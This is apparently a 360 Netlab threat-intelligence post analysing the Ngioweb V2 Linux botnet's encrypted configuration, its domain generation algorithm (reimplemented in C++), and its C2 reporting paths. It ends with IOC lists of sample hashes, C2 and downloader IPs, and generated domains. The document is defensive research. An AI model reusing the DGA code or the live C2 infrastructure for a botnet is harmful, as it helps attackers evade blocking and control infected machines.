<p>As mentioned above, the core functions of Ngioweb V2 have not changed. Readers can take a look at our last article<a href="__GHOST_URL__/an-analysis-of-linux-ngioweb-botnet/">[2]</a>. We will focus on the new features of Ngioweb V2 here. In the Ngioweb V1 sample, sensitive resource configuration information such as C2, digital signature public key, report entry, etc. are all protected by Stack Strings Obfuscation technique to prevent security personnel from spotting it at a glance.The V2 sample is made more concealed, and this information is encrypted. At the same time, when the V2 sample report back to its C2, it no longer uses hardcoded config. All these make it more difficult for it to be detected.</p>
<h3 id="newfeature1aesencryptionforconfigurationinformation">New feature 1: AES encryption for configuration information</h3>
<p>The Ngioweb V2 Bot sample stores the DGA seed, the number of domains generated by DGA, C2, the public key for data signing, and the entry of reported information in a unified configuration. This configuration uses AES encryption for storage. Decrypt the information when it needs to be used, and destroy it after use, preventing sensitive information from being captured simply by memory dump.</p>
<p>A major feature of Ngioweb is the dynamic generation of constant tables required by encryption and decryption algorithms, which increases the difficulty of analysis by security researchers.</p>
<p><a href="__GHOST_URL__/content/images/2020/11/ngiov2_aes.PNG"><img src="__GHOST_URL__/content/images/2020/11/ngiov2_aes.PNG" class="kg-image"/></a></p>
<p>AES encryption uses ECB mode, no padding, the secret key and ciphertext are stored in the DATA section, the first 32 bytes are the secret key, and the next 512 bytes are the ciphertext.<br>
<a href="__GHOST_URL__/content/images/2020/11/ngiov2_aesdec.PNG"><img src="__GHOST_URL__/content/images/2020/11/ngiov2_aesdec.PNG" class="kg-image"/></a></p>
<p>Take the following ciphertext as an example<br>
<a href="__GHOST_URL__/content/images/2020/11/ngiov2_cipher.PNG"><img src="__GHOST_URL__/content/images/2020/11/ngiov2_cipher.PNG" class="kg-image"/></a></p>
<p>Decrypt the configuration information, for example, C2 is <code>185.44.75.125:443, 79.141.168.119:443</code><br>
<a href="__GHOST_URL__/content/images/2020/11/ngiowebv2_plain.PNG"><img src="__GHOST_URL__/content/images/2020/11/ngiowebv2_plain.PNG" class="kg-image"/></a></p>
<h3 id="newfeature2dga">New feature 2: DGA</h3>
<p>Ngioweb uses the domain generated by DGA as a supplement to hard-coded C2. From V1 to V2 Bot samples, the implementation of DGA has not changed.</p>
<p>The specific implementation is as follows</p>
<pre><code>uint64_t GenSeed(uint32_t& seed, uint32_t mod)
{
uint32_t tmp = 0x41C64E6D * seed + 0x3039;
seed = tmp;
return tmp % mod;
}
string dga(uint32_t& seed)
{
char* HeadBuf[] = { "un", "under", "re", "in", "im", "il", "ir", "en", "em",
"over", "mis", "dis", "pre", "post", "anti","inter",
"sub", "ultra", "non", "de","pro", "trans", "ex",
"macro", "micro", "mini","mono", "multi", "semi", "co" };
char* BodyBufA[] = {"able","ant","ate","age","ance","ancy","an","ary",
"al","en","ency","er","etn", "ed", "ese","ern","ize",
"ify","ing","ish","ity","ion","ian","ism","ist","ic","ical",
"ible","ive","ite","ish","ian","or","ous","ure" };
char* BodyBufB[] = {"dom","hood","less","like","ly","fy","ful","ness",
"ment","sion","ssion","ship","ty","th","tion","ward" };
char* TailBuf[] = { ".net",".info",".com",".biz",".org",".name" };
string BlockBufA = "aeiou";
string BlockBufB = "bcdfghklmnprstvxz";
string domain;
uint32_t dashloop = GenSeed(seed, 3) + 1;
while (dashloop--)
{
domain += HeadBuf[GenSeed(seed, 0x1e)];
int flag = 0;
int i = 0;
if (BlockBufA.find(domain.back()) == string::npos)
flag = 1;
int fillcnt = GenSeed(seed, 0x3) + 4;
while (fillcnt > i)
{
if (flag + i & 1)
domain += BlockBufA[GenSeed(seed, 0x5)];
else
domain += BlockBufB[GenSeed(seed, 0x11)];
i++;
}
if (BlockBufA.find(domain.back()) == string::npos)
domain += BodyBufA[GenSeed(seed, 0x23)];
else
domain += BodyBufB[GenSeed(seed, 0x10)];
if (dashloop != 0)
domain += "-";
}
return domain += TailBuf[GenSeed(seed, 0x6)];
}
</code></pre>
<p>In V1, DGA Seed is hard-coded 0x05397FB1, and the total number of domains generated is 300.<br>
<a href="__GHOST_URL__/content/images/2020/11/ngiov1_dga.PNG"><img src="__GHOST_URL__/content/images/2020/11/ngiov1_dga.PNG" class="kg-image"/></a></p>
<p>In V2, DGA Seed and the total number of domains generated are specified by the configuration.<br>
<a href="__GHOST_URL__/content/images/2020/11/ngiov2_dga.PNG"><img src="__GHOST_URL__/content/images/2020/11/ngiov2_dga.PNG" class="kg-image"/></a></p>
<p>At present, we have got the following 4 pairs of Seed&Total Count combination, corresponding to the generated DGA domain, see the IOC section.</p>
<table>
<thead>
<tr>
<th>Seed</th>
<th>Total Count</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x01275c63</td>
<td>0x12c</td>
</tr>
<tr>
<td>0x01275c63</td>
<td>0x3e8</td>
</tr>
<tr>
<td>0x04bc65bc</td>
<td>0x12c</td>
</tr>
<tr>
<td>0x00375d5a</td>
<td>0x400</td>
</tr>
</tbody>
</table>
<h3 id="newfeature3thec2reportingentry">New feature 3: The C2 reporting entry</h3>
<p>In V1, the entry for bot to connect to C2 is defined in the hard-coded<code>/min.js</code><br>
<a href="__GHOST_URL__/content/images/2020/11/ngiov1_entry.PNG"><img src="__GHOST_URL__/content/images/2020/11/ngiov1_entry.PNG" class="kg-image"/></a></p>
<p>The resulting packet is as follows<br>
<a href="__GHOST_URL__/content/images/2020/11/ngiov1_packet.PNG"><img src="__GHOST_URL__/content/images/2020/11/ngiov1_packet.PNG" class="kg-image"/></a></p>
<p>In V2, the entry for bot to connect to C2 is specified by configuration file now.</p>
<p>The resulting packet is as follows<br>
<a href="__GHOST_URL__/content/images/2020/11/ngiov2_packet.PNG"><img src="__GHOST_URL__/content/images/2020/11/ngiov2_packet.PNG" class="kg-image"/></a></p>
<p>At present, we have got 3 sets of entry information in total.</p>
<table>
<thead>
<tr>
<th>Report entrance</th>
</tr>
</thead>
<tbody>
<tr>
<td>/min.js</td>
</tr>
<tr>
<td>/zvyaga</td>
</tr>
<tr>
<td><code>http://185.44.75.125:443/metric</code></td>
</tr>
</tbody>
</table>
<h2 id="dnsmonautoblocking">DNSMon Auto blocking</h2>
<p>For customers using our DNSMon feeds, the DGA domains have been blocked automatically.</p>
<h2 id="contactus">Contact us</h2>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab">twitter</a>, or email to netlab at 360 dot cn.</p>
<h2 id="ioc">IOC</h2>
<h3 id="smaplemd5">Smaple MD5</h3>
<pre><code>bdaf967a6aef57d135b0806192884edc
7f26365e8d1e1a6ad8199bdddd4e9b3a
0840951a0c3219db5607754bcdbc1ac1
d29fb0306ee4b8cfe18c339ee42a98f9
305a600d309c1bda9e731803e3efca97
fb469128e67aad899a2b6709cbfe72a6
19020682555fa33ecf98a11fed499ea9
b4e5cecdff73f66786f87c1238912003
2818dfd8337fbb610f8910746c4219d8
d08e539c47100935fb8ba88a384f0305
f8263759c9111641d09c9fac6bcd9186
55ab7aa2ceadb3d30784123f2d534fdf
cc2ae0ccdf0b4ff94e9d8ab3646ecaa2
2b484c7f104fe8160022e04d056d1135
df84b40ac3bd56bd15ab1d8b4a2bc1a7
2d6ea04f1f55471113f37239e5e23b19
a20d3f09eebd4102157ecdebf9557326
4b608985b7f741b0f0ab9f3d59e48f03
492928276181ca030fc2e1099b27beb2
300e68b03d8fbef6ce29de4d386eacf3
4419982c5fb43367203dca14ae6c1311
f8fdf251acc39fdb4f4444fc7ceb1d0e
c2695139e23205b96fb07e7ea963216c
431028b7a672c4167ecc77e36df24236
61783c6433288689a280bb2640e5f2af
3e0088ec332172e42c50dd034b7eaae1
953bd5431f144a976474d7c78de526ec
3dacf45ff17ba5d6018d3f44c0ea4a02
30dcce7dfd26f59dee9895cb6c70d51b
2b7c98eb58062401c8cff9b5fe95b0a3
ff4dbfc96ffce74e5ea057e50e0496e3
2be2ab5752261a733b5267527fe65d44
a375f20090d9a58c66dc22dd37286d34
ce120caed6b72cb89918dd2b329ceeb9
01f50c3fc1223e3f96d28bc4cd2c3e56
5be121ae51e970d4d0a5c08590099d79
fc98d2deb8563292d830ba37bbb243ad
afb782061df074ef2852953f47206aaf
d417f515d24c56e05b9ac17cf6ab2ec3
10824897899469775974122075c14b56
0274956798c61a5eecb12d331835854e
0808dbe61524a6a2a901e6ab2ac66e24
e1b0b6943d0f209e51e6b5b6744e6a54
663e0cf63d6b3f25bb33fea0876f3ef0
052f9c2f465ab33d68957bc25c4e5c0b
04800a25ce6c8d15e553459deec68bb9
a086b7da8aaf7a27b67db00e69eb1b7a
77c9d66e1ace1f840ed0416ab365260e
ebb4b45ce5622d75762f62e631436bb2
ce4c23642878788ecaedd0903663244d
00aa9b52e2f3b6ad4426466d7ca5f523
00b2a36d4070983bab0953ce613d8d8b
0257a639039f86f159bc6a4a39cded34
036bc9217942fd5b15f654b4f5dab24f
05e3369b655e5033d0f74bb3296863b2
09d9c3b5f7cf1fec26f812d5250bfeb1
0ac1705fe969fa6ccd3f449aac008b4d
0f32884f84a366c047b95408316b2c52
10ad3d84b869e383f1e88d5fc134e912
1338e36265e8d45ba7689c918ef9b34a
147b2ea408bef641a2e9d3cb4f7aedb9
16956c0468e6e2b6665ac4bb81af3164
16edc8d0d4be1385e9ddadfc722deae4
178e0c03eb83fb6cebb11d29e0e47ec9
21e37846936908ac90e6802e92d991df
2c5e58573bf1783c4557d71f9f1a04b4
2c7d58b1c5c172f88de7dbc02805eac0
2e953b78a03b430e803bde99bc0c83e3
36578d0dd5685abe6c4ed063221c59d0
37a6966b4092317e0b4079bdf0f5b0a0
39aaf64bd70846d2fe7b77ebc42be8a3
39d57c1abd7ae2488cb435c1ebc6d49e
3bdf12f6aeb84d02119914e63ada932e
40e88784c93651cec9792487575842e9
418188e977fc3b280d8919287aeda05b
4293a45ee5cd00da5505c878bc4fee08
4efdc2e227fb4b5e61eb5220f9e6d7f4
505cafe9c309ce61113dcb24124d1eba
5077972350fce365d085e178f4668c8d
54c9be7cd4a9f57728352a3426b32e4f
5b55dce8baa9818de1b828a5ba6b80f4
6a566eeaab50e22eed6f01684d7521fd
6c66cf2f923aa9da1494c99d1938cfb6
72f00975e83856252b8c0c3c687254ef
7ab879bc960b409f17bcad39a0bf7e3b
7aea64456ab14dd5d4e060ebfcefd79d
7e85b4596f95d1d597c46fa72d348061
7e88eb10e9c67dc650a6ae4912d65e63
82cef032e2e0fcc9f5582cd5916b97b7
843f44acc93cbffadd271e4ef5e03103
89c3f65fccb06f914c68aca218b0679d
8e6ca6bd922574a44a0a43b32a58ba52
8e8fd75a560505878cd2c76dca2c7ffe
92e6185f8d2216eef77b8bcc7c730c57
94c41d49388acb0089948c3ec618bc53
9db1cbd2f1d2fbd26aa7c1934e1f182e
9fdfedf862f11146efd18b42f86268e1
a20ab64e41014fbc992f2dfcb11a10d1
a2967ffd179faaeaab49d48b1473db00
a6fd221cd729d08550acd53767154de3
b1af3254ae6111efa3e2cb85eacf8e99
b459053d209c6d188ba89f1097fed1da
b5985a3fc08623d58d72d342da722f03
b9ffd7e55c105ab52b81f66badf05846
bbcd3ca4fbc0b40b0c9149e6371b9432
bfaa39fb6a151b9a64e59ffd80aa1bc1
c46121de170ecd5560b459ccf9f7557b
c587740989c196806c0a9c5e8e07f127
c77aa0f78c48901d7cc34a871c67eea2
d2eeb2a760d7a453e9a895c6f161503d
d7d5cee215140b7511b03885db89cb18
e52e9f80bd81abc3e855a88fc77a4df4
e9cb10408706890e48c3758831a631c1
ea319e0ef1b4e3d65a7e4fc23397a20e
ead0e821c939ce0bd271f5c148f5c8ca
ebe39d80a817a090bc1e20c4517b4fb4
f225a03e407b0f32235d7dfdd333f95e
f2e28b01742757942c1ce5acbbb8ee00
f3cbf39e3e95bd3f39bf6dd4e38f5690
f4445e7cab5694e56008a6ac8382b0cc
f9ab5e1483fee74e78f81ee2d8c3992b
fb24abf484c484670be0444a7ae0f918
fca1611067d38b6ce3234886f0d24cb3
fe5e88679c091136f0ff3c4f5ded9775
feda5a6340a7f71a75c43f43a57b0c1d
</code></pre>
<h3 id="downloaderip">Downloader IP</h3>
<pre><code>31.14.40.107 ASN19624|Data_Room,_Inc Romania|Bucharest|Unknown
88.218.16.12 ASN50673|Serverius_Holding_B.V. Netherlands|Flevoland|Dronten
93.174.89.36 ASN202425|IP_Volume_inc Netherlands|North_Holland|Wormer
94.102.50.156 ASN202425|IP_Volume_inc Netherlands|North_Holland|Wormer
94.102.59.5 ASN202425|IP_Volume_inc Netherlands|North_Holland|Wormer
94.102.50.143 ASN202425|IP_Volume_inc Netherlands|North_Holland|Wormer
</code></pre>
<h3 id="stage1ipc2">Stage-1 IP C2</h3>
<pre><code>162.218.122.123:443 8100|QuadraNet_Enterprises_LLC United_States|New_Jersey|Secaucus
111.90.149.238:443 45839|Shinjiru_Technology_Sdn_Bhd Malaysia|Kuala_Lumpur|Unknown
103.193.4.113:443 36351|SoftLayer_Technologies_Inc Singapore|Singapore|Unknown
185.44.75.216:443 62179|UAB_Ecofon Lithuania|Lithuania|Unknown
185.44.75.125:443 62179|UAB_Ecofon Lithuania|Lithuania|Unknown
79.141.168.119:443 133398|Tele_Asia_Limited China|Hong_Kong|Unknown
</code></pre>
<h3 id="stage1dgadomainseed0x01275c63count0x3e8">Stage-1 DGA Domain (seed=0x01275c63,count=0x3e8)</h3>
<pre><code>overobozikish-semipezavution-interigupant.com
protivapical-semiletuful.info
minikibocency-interorofuly-cotufuhify.com
proxekigite.net
exuvasuhern.biz
multinipebian.name
inuzodaless-iluxunency.com
exubokilike-antilifizement.biz
transumudate.org
misuradabite-minibelaped-interetukuxable.net
prexunevament-macrotelulike-antipucudument.name
disorihous-monofulefiful.name
enecixety.biz
transoxapakancy-antidukovify.net
subimemibate.name
iledozible.net
unumopafy-antimixaly.biz
interilurocary-provohiless.name
inuvelasure.com
exovifist-multiseferiness.com
subidekancy-ileratily.name
postosofaping-irikinalike.net
ememacotian-ultrakenikoward-exudetancy.info
minilavuxufy-microtuhaly.name
multimilufy-exirorary.info
ultracadopiship-exinuhilike.net
subasamuhal-overufaring-emedotifure.info
disadugous-microdopiful-disicivize.org
subuvusen.info
enozufety-inilorely.name
inocinossion.info
disanevisish-misanolazen.biz
transegunant.com
exelituhese-depifukary.info
interazimist-microlitonish.com
prefunidom-postaxugiment.biz
ilolulian-nonisotive-overenevecese.net
procihanoly-postutegism.net
semivudely-cocehiward-renesoful.name
ultrafisekian-multitecaness.org
reravugission-enulebuten.com
sububofahood-semigumudom.biz
transinoromite-prohetahety-ilapeben.net
renuxakassion-ultravavamilike.org
emufatohood-regunicotion.info
interixamily.name
minirehugeship-prefepedism-rezomabiment.biz
enefiling-semipisigical.net
irebition-cocusifify.biz
interaxomaty-enunamage-prebuzipure.com
uninicaxous.info
postobigahese-micronepodom.biz
macrogizofant.name
macrogucapofy-semifenaly-interusoboty.name
multitemaber-delutafy-unehonecism.info
minikibamize-interekekadom.name
disulahifing-prefuzetion.biz
underubulian.com
exovezufy.com
prehagovern-subapalaship-iripatixist.info
multimanibic-transirizikage.net
anticisubaless-overatexossion-ultrakidefalike.net
misutokahood.net
resibapese-iribelancy.biz
underefunible-subunizal.biz
ultracibeward-unimumanable.info
overasizous-semigofehify-emepaving.name
ultracuvupancy-multisacokency.name
disuxegance-unohupuship.com
unuramesion-antiximocable-premerudation.biz
transatidaly-intereducigism-unugiheth.com
micropigession-cosenath.net
exevetedism.biz
minixamesion.org
imedenese-inecucary-unoseluhood.org
subegivaward-semiluriful.info
transudakicern-exepagetn-ilonunety.name
ilidinurary-imelunern.info
enixihidom-covohipive-multixohelike.com
semicekument-disahezulible-nonahopohood.com
promucidaty-detupobant.info
macropuxolian-disatusopic.net
resiredeful-disamefese-nononutetn.info
multimovatiward.org
unifapath-pregohuhite.com
exofabity-posteramited.org
micromuniten-semirekiveful.name
ilaxovage-exezihoness.net
micromurocese-proniragance.com
prohufabament.biz
ilakihopity-irediletous-disatibant.net
semiborexoless-cocukuviship-unaderible.name
postatavexed-antitikadotion-demekimeness.net
subobekous-inohixical.com
semitinity-comoxuness.org
antisavuty-overulogolity.com
prokarumement-inanuvify.com
semisomiment-interuholudom-underovixitable.net
misirahiward-prelabakuly-multimipumish.biz
ultrasibodilike.org
exesuran-overefibadom.name
overifaker-monokabarize.com
nonudaboness-antimofidaty-interapupily.name
transefacity-nonuvosolive-postamevession.name
delilelike.org
imonabaval-postesudable.org
exozebizist.biz
macrogotafy-refahuly.info
conefify-seminehivern-emugugitical.info
copugalike.net
misemokemity-ilemacation-multitopehood.net
micromefoxism-microtiruful-postasacation.name
ultralegoroth-eximonist.name
minipozebilike.com
semimiranure-unulasion-cozukuship.org
misumenite-macrovironuhood-misitedion.info
ilogesuric-nonunihern-ultrarahupaness.com
emupuping.biz
minilosoth-microlimexession-enogamity.com
unerihish-interavicumite.org
unitevous-transedufudom-enusomozetn.net
remabarety-ultrabocotant.name
enugezession-interokasugance.org
ireditixary-macrocokakuward-rehohidian.net
emugadatian.info
interelobidom-postirirament-ultraparobesion.org
unixogency-dezofudoward-misekovary.info
transubivocal-prebekutan-exapimity.biz
underekenocary-exosivufism-multikolulike.net
rezazizage-prekuguhical-antibidoxic.org
irugexary-ultrafibahood.com
unasutify.info
enolirekage-imusegacion.name
underatekedom-ultralugarehood-irezizible.info
transohuluric.net
iruzusefy-monokokicancy.net
semivifetite-nonecicolike-retiradure.org
misobaling-cofodotuhood-nononepasion.org
misipeheness-misepucance-enoxelize.org
exulucovible-minivikecath.net
exefilevern-interoronary-monohusussion.info
overukizudom-interuvigument-macrorucalike.org
prexofunoful-transohuzize.org
irunanic.info
macrokadubofy.net
unonedeling-postakesemism.org
irumabodish-ultragotedary.name
postubixion.net
prenoxifodom-interihafian.com
subocetesion.org
seminukeful-ultraburovaward-misodihapism.info
interevafekism-nonogikan.biz
cozedesehood-prevurodom.name
interucezaful.info
cozusogetn-inobonuly.name
overoxevance.net
misupasor-overofexussion.biz
minizerexision.net
nonotutamese-cotekafure-enotezor.com
irutihalary-interunutohency.net
revuremure-imemapesion.net
microfufeser-misorirous-transotazafese.org
unumalefy-micronikaly-interepafoty.name
transugapity-misikivan-interikaxodern.com
pronecussion-interuretese.net
retorerument.biz
multipukogoward.net
monopinubism-prodigifession-minikafovure.name
delezubic-coxegukism.biz
enarufency-prebuhulotion-ultrasomoguness.com
imezigion-transikufamency.org
prekugagancy.net
irafinopify-enusukical-exekedous.biz
underikehuful.name
interavutagic-unacanese.name
overebopoxer-subifebilage.name
deziroming-multizoposion.com
redorusely-disivonuty.info
inukatiless.info
enihufahance-subaniletn.name
ilinugor.net
prerulation-multinapuhood.org
antisixegity-macrodosiness.org
antigadegan-unazekency.biz
cosoxufy.net
imuraxant-devarareship-microfarulical.net
semifibiciful-iloxivible.net
antivunaful.biz
minirorisible.info
underuxuced.net
irelevonous.name
iluvinakite-rekamepize-iranibish.info
disihosive-irazoniward.com
iraxikith-imitokabal.info
overagofadom-disedumance-nonababifion.name
depoxuzeness-imumipolish.name
minikepupese-macroperofy-progilobing.net
presisutiment-underorunipancy-exovomocant.biz
postelomuty-disazonaly-transazabesance.com
emumezite-minivasudeship-nonevuxion.info
interumipument-inesaber-remokedern.net
prenekomation.biz
disurolal-misosexant.biz
inasacily.name
transinexiran-antidimekudom.biz
multilalopant-interutoxoxed.org
microfamanuless-overudilelical-unobigous.info
enizafegify-irinocic-inonesoment.name
disabihal.net
monovizurable-exopecancy.info
deveruness-prezicepaty-ilorokoly.name
enevogussion.biz
enegexic-preremassion-macrokevath.com
emurapion.name
postirezubous-irexozihood-refebodom.info
overikucoful.biz
underehopoxance.com
nonedagous.biz
enodehoment.info
derigusage-disuzetiful-iluhokepist.net
unedadite.info
ultramuzify-exakibern.info
underumemance.org
prototifed-semibobazant-exaludalike.net
prebiniment-overerabudate-irotihate.biz
underepohese-unudegakan.biz
underunabity-overenatoly.biz
inalazossion-enirohefed-misozagen.biz
minibikovesion-proxuzocoful-underucabation.info
cocidedith-mononekoty-underululely.biz
multixotetous-transavotebist-antibanission.biz
underobotugancy-rekinotiful.info
ultraniderufy-unadukical.info
postizeban-exotibath.com
revodiciment-enafedity.org
exifikate.name
coxaviraward.net
semiregoziless-copibufy-imetovuhive.info
multihabician-multisugicish.biz
minibazehood-nonokikamen-inesomaful.biz
multificiward.net
subexidamion.biz
enizitavian-monolexadom.name
ultralanerency-underexibibancy.org
prelemely-interamuguzish-refesunuless.info
ilizalement-transemetirous.org
protazaren-nonohahity-underucofofity.net
emokacinan-overemacoless-disuredossion.name
interohazate-imivimion.info
overetunudom-inigohiment-interemokepen.com
ununimeness-ememuturible-macromazazuth.com
nonexepic.info
interizutidom-disivadement-enigegadom.info
postezakical-monoxizidom.info
interigaciful.name
inopofalize.org
unucibency-inevodession-iletakate.net
imotuzaship.net
micrometavation-interaruviful.name
ultranedoxify.org
emavevalike.com
retagucage.net
imopexaward-prokoguful.info
iletodish.com
rebikizuless-postaretexive.net
recolidom-disanuviment-postozagive.net
semimocalate-subemazive-disasihement.name
transiputotion.name
ultramasicize-overusixern-nonisupimary.info
enupevuxen-emuhomebal.name
disupasolance-misaperiward-misetolobern.name
overagohan-suboxifaric-minicorugure.biz
multirecelike-prehesakan.net
rezumugity.com
imanazuxen-postomodaty-disaxurate.com
prezotecussion-cobazesish-transurunist.net
emafezipant-cogapahohood-regifedom.biz
disogotesance-misomuded-overezanaful.biz
multibefelefy.net
monopitocen-semikahassion.name
interorozable-exoharuship.net
exetering-enehanument.name
disisopilance-prefemekuly-inopikety.name
overuvitacish-exerotetn-interunaziless.name
interepafary-irepatolike-microhatavament.name
disoxacify-subunevish-interopofuvency.org
imoputic-minilumezese.biz
postatotoly-postecumify-misazugofese.info
overugevapen.com
emasuvasion-suborumonage-inagamage.net
ireporerate-transetihed-unekelish.biz
minimumiward.com
presogifoless.info
macrokocador-ilevevugible-semitafument.name
miniderosion-prokihegiful-iluhonition.name
minifagadize-inazitubish.org
propafaban-misoraxafate.info
coceposion-misesixetancy-diselihecing.net
misigibezity-interepesission-underaderudion.org
semilagikan-emebaxobency-postunepan.net
monoxumution-overomaxish-unuramic.biz
inazogiful-overexunution-disikutancy.com
iroboxetn-ultrakolixoness-profoxution.info
transitigetn-misexuraward.org
exifimimary-enovucefancy-procexacency.com
iruribihood.com
microrinuguty.name
overotuxilous-subeciricary-disatakity.com
imelumezage.biz
transaxanary-mononixuful.info
iluvenern.org
monoxeberiless-inivekicic.net
semibutadom-multimakagary-postumicefite.net
unatinahern-interohogian.com
emexunency-underatakihing.net
unorisibity.info
minirifohood-pregenubotion-inipidorist.org
monotamekission-interuxeriless.info
ilobamodetn-seminufelotion.name
minikuxuness.com
nonigepefy.org
antiharisable-imucesese-postoxuzern.org
monogosession-underipimish.net
misupunubical.biz
postezotetion-overukopiful-inazukiling.org
propagarite.net
exafisixure-ultratomavance.biz
inadikuture-profazetion-overalupance.net
exobobaward.org
exafadify.name
disivazovous-semiheceless.biz
macrodopoxihood-monobudadom-cobabadahood.com
unehohevize-demuzezeth.net
nonuhasoship-microvibodidom-postagomament.name
interekekation-interedimian.net
retivelible-renonutely-ultrazutuward.org
imapuvate.info
postirikify-misuredity-underokonaty.info
multixodamalike.net
prezopement-interutafudom-denaseship.net
misatonazical-macronuguhood.com
monohupukoty-inozenimive-antimedoty.biz
ultranigixalike-procavigance-pregisiless.biz
coziloxive-multitusarist.biz
disaxopive-emifosish.info
macrogenehood-imifikizetn-overuguxakant.org
iragatofy-unoligion.info
interumohassion-minipepixor-underuxesission.biz
defasenision-microzisekeful-disixusian.net
semibokuful-ilihimetion-overumuhical.org
imerisigance.info
minimifith-nonahacinance.name
overaconadom.biz
macrolehekian-minicepesion-subuvosify.name
multisonision-exopedure.biz
enomunancy-imunekable-macrobimigal.biz
inumizeful-ultrazigupuward-profaxixive.net
semimicosage-exumadivic-macrohocative.info
ultragopuzosion.org
irobaguness-subedesical.info
postiduzancy-semixabelion.net
prevukefoless.name
minihuxexohood-emobuzolion-ilepiziful.info
interexivity-reluvegan.com
exonulefy-rehudukeless-intericamission.biz
colefutasion-antimudukeful.name
overatoxify.net
imivegion.biz
minihubofy.net
monosaviradom-interotarure-monotavahical.com
emobedolance-ilalamure.net
unanupaness-rehodifuty-enivapuly.name
depanivaship-irinipalike.net
semivofizor-mononecedom-underetecism.com
semirirekotion.name
postocaripist.com
imaxebuship-semicagition.org
prehorinoful.name
ultrazopinism.biz
overezaxiban-subotemern.info
ultrahalaping-minitacoship-irodolity.info
enoneviment-multifivizify.name
minizugohood-nonosubotion.biz
postuzapozese-nonitisidal-disibibaless.info
interipagity.com
imipanusion.com
prerivefency.org
reloputy-macrohigixing-underumumenary.net
misazuzasible-transozotament-overukocavage.com
imakupous-enarapition.biz
postatubily.name
overitubokian.com
prebabafotion-minitikihood.net
promoxevancy.org
emudamoth-progerosify-nonigunazist.name
transulipish-micronodapadom.info
minidohetion-underirukimish-rekutimity.com
semivopety-postamegary-resokepize.net
irufuvith-emikazufy.org
semificabance.net
prepolebuful-interuhugipible.net
semihesoly-overamoxatous-irunepan.info
disesener.net
nonogatilike-semihexission-enisoxuless.biz
detozigish-overohezibify-prodavetish.net
microsapirible.net
microcahelern.com
imaheroship-nonesenist-ilamihist.com
microlunanity-emoruraship-unesatalike.net
subixaler.name
minilosuduward-premulivaly-interomizeter.org
prezatofite-subabokist-overozamulor.com
subipebukous-minirohosion-imurofusism.biz
transulenify.com
monosozamoless-enoxuvussion.biz
enovulesancy-relixuhical-nonelomasion.com
misexilic-ultrakiroriward.com
semixufegish-unogohify.com
unororize-minizonify.org
protihuless.name
underovogarify.net
probetuxancy.net
semimotaly.name
ultrazatudeship-semifelasency-exinimohate.biz
cotifosion.org
nonudugihite.biz
ilefemern.com
unogehish-disemozihous.net
misasirary-overarotion.org
exepemitan-enapibazan-rehetasen.net
monokakoxing-monomixety.name
colovopage-minigurigist-overopuhite.org
irocohiship-misoroxogist.info
postocavary-probutaxable.com
exifibeness.net
imedazancy.name
postogabivize-irehefoship.net
monofasodom-cohokakize-overukurudom.info
underesaxiful.info
multikoniward.org
microdurukish.com
irutokiship-prorokeless-multihucidic.name
disogerefor-proremorate-probudurution.biz
macrohikonen-overecinive.com
exelopoth-unazicofy.org
regibiless.info
cotemufehood.com
anticiduxity-underuhorily-macrolamiward.net
propecely.biz
overuxibist.net
imarodilike-misilesulous.name
transamexaped-semigafoful.biz
inaladahian.org
antiforozedom.info
ilivelolion-misasicamen-ultravufuketh.org
imezirary.name
ultrabinelesion-nonamamakite-postuvahution.name
overolokage.org
imarurese-underigelic.org
exopagancy.info
coxedath-microhihovassion.biz
enonuxedom-inififiment.biz
mininivocese.info
dedezaseth.net
nonesatahency.info
multiteruped-dezimofion-intererezadity.net
nonosuneric-enonunehal.com
exuluresion-preputuxern.org
iredigabance.biz
ilanovese.com
nonahuled.info
underamamedom-overakarancy.org
subutudal.biz
multihonahood.org
promopalaty-overeceduly-overinamuhetn.com
unutotecance-transohaxament-ultrasodeding.info
multisixahood-prepehadom.info
ilofidal-pronubosation-multikituhood.org
unahemiward.net
subekoled.biz
macrocilavoship-prehibaless.info
ultradusirern-underigamate.org
imuneped.info
postiruped-unoxulolor.name
enulirigage.com
irapifalike.net
unimegure.biz
desekileward.net
semikuxuly.biz
minizasiviship.com
imopiripor-minicotaguness-emakegoward.net
antihibemical-subopazilian.info
posteverozous-revuvefeful.info
ultramiliward-iropeteness-unavobadite.name
ultramifogilike-emegupeship.org
imedobolic-underohuxaful-postihatetion.name
disafimize.net
semivasabission-macropesitity-disamemous.org
irogavohite-ultratovuship-prepisinadom.biz
postedufiful.name
enatezuty-multitiviness-subosasiward.net
prorupuhal-anticeluty-postebuvese.org
semibahoty-multizesatoth-subiteped.biz
minimivivic-ilobakancy.com
imukoxive-transexepuped.net
semidoxidom-ilahofament.info
transilutution-macroxucihood-irisenizive.name
postexacency.org
monobixisist-monotavigeless-underaparession.biz
conenelike-imapezuship.com
emunozusion-misifebesure-underisunotion.name
covefumuth-irafezodance.info
interalekubant-nonohebehood.org
renirozian-unupasity-enosunetion.info
interanakily.name
inaverance-refudily-overepenary.org
nonavimoth-semitugisage-microkogopism.com
subohabogite-transesihedom.biz
ultramedihood.com
emuboceward-imadunical-ininifagese.org
revuduly-interutedable-progusuled.net
misosecefy-imagebenance-transegasossion.biz
ilavonuxage-preruzegese.com
resepetion-disodamapan.org
ematezexese.biz
ultramololian-disukagement-delumulike.com
imedavuped-overikixist-microvetipancy.net
emutebopen-overerusamize-exehilify.net
misamoxan.info
enusepohance.net
preguposety.info
interamosian-emategecist-cocofoth.net
antideravoment.name
enevagation.info
postipapily-iluvumety-multifezaness.org
pregovozetn.net
antigusuless-iluvuling-regogeholess.info
dekeruvan.biz
ultradelosion.com
imufihoness-prokikubety-multilukipoth.org
iraxurisal-minibogicusion.com
subotesohism-enovipity-transebovohage.com
subuxipoship.net
unodobasion.net
exanogance-macrodaceboward.com
antifusituless-enefilency-imonaxenish.info
interuleriment-disecuzidom.name
ultralurohood-emebutify.info
postehicosen-semimezigity-ultragefeness.net
irizuhify-disacozolize-prenuzonission.info
transenasary-misusisuship-exuvadalern.info
conudigian-ilexusotion-debifehood.com
unoporiward-exekomixist.info
multihigotish-ultrarafuth-antihedecetn.net
misenunive-develilor-coxigicical.info
conuvuship-irexupish-cobogocary.info
underosavidom-iligimimed-exehefugor.info
inuvomize.net
noninogafy-prexanufed-imububify.org
rexazuless-covihafy.com
presisebical-semisorugive.org
emomofible.name
minizakehood-examapusion-unipopehood.net
eximumilism.info
enihodomical.com
nonelugahood-nonuhakasion.org
semilopaful-interetanetion.biz
underaripily.info
comimipal-cotedibolike.net
unesidukive-postacidition.info
minizikeness.org
antikulelussion-ultrarudinify.info
inakogite-suberivatal-minitoraship.net
